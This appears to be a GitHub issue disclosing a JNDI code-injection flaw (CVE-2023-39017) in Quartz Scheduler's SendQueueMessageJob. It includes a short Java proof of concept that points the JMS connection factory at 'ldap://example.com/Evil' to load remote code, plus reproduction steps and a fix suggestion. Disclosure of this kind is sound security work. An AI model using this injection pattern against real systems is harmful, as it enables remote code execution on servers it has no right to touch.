CVE-2023-39017: There's a code injection vulnerability of `org.quartz.jobs.ee.jms.SendQueueMessageJob.execute` · Issue #943 · quartz-scheduler/quartz

Affected Version
The latest version 2.3.2 and below.

Describe the vulnerability
There is a method, org.quartz.jobs.ee.jms.SendQueueMessageJob.execute(JobExecutionContext), designed to send a jms message. However, passing an unchecked argument to this API can lead to the execution of arbitrary commands. For instance, following codes can lead to the execution of arbitrary commands from attackers:

        JobExecutionContext context = new JobExecutionContext() {
            ......

            @Override
            public JobDataMap getMergedJobDataMap() {
                JobDataMap map = new JobDataMap();
                map.put("jms.connection.factory", "ldap://example.com/Evil");
                return map;
            }

            ......
        };
        SendQueueMessageJob job = new SendQueueMessageJob();
        job.execute(context);

To Reproduce
First, establish an LDAP server and provide malicious code. Then, just execute above codes would reproduce it.

Fix Suggestion
Filter LDAP, RMI and related protocols when using lookup.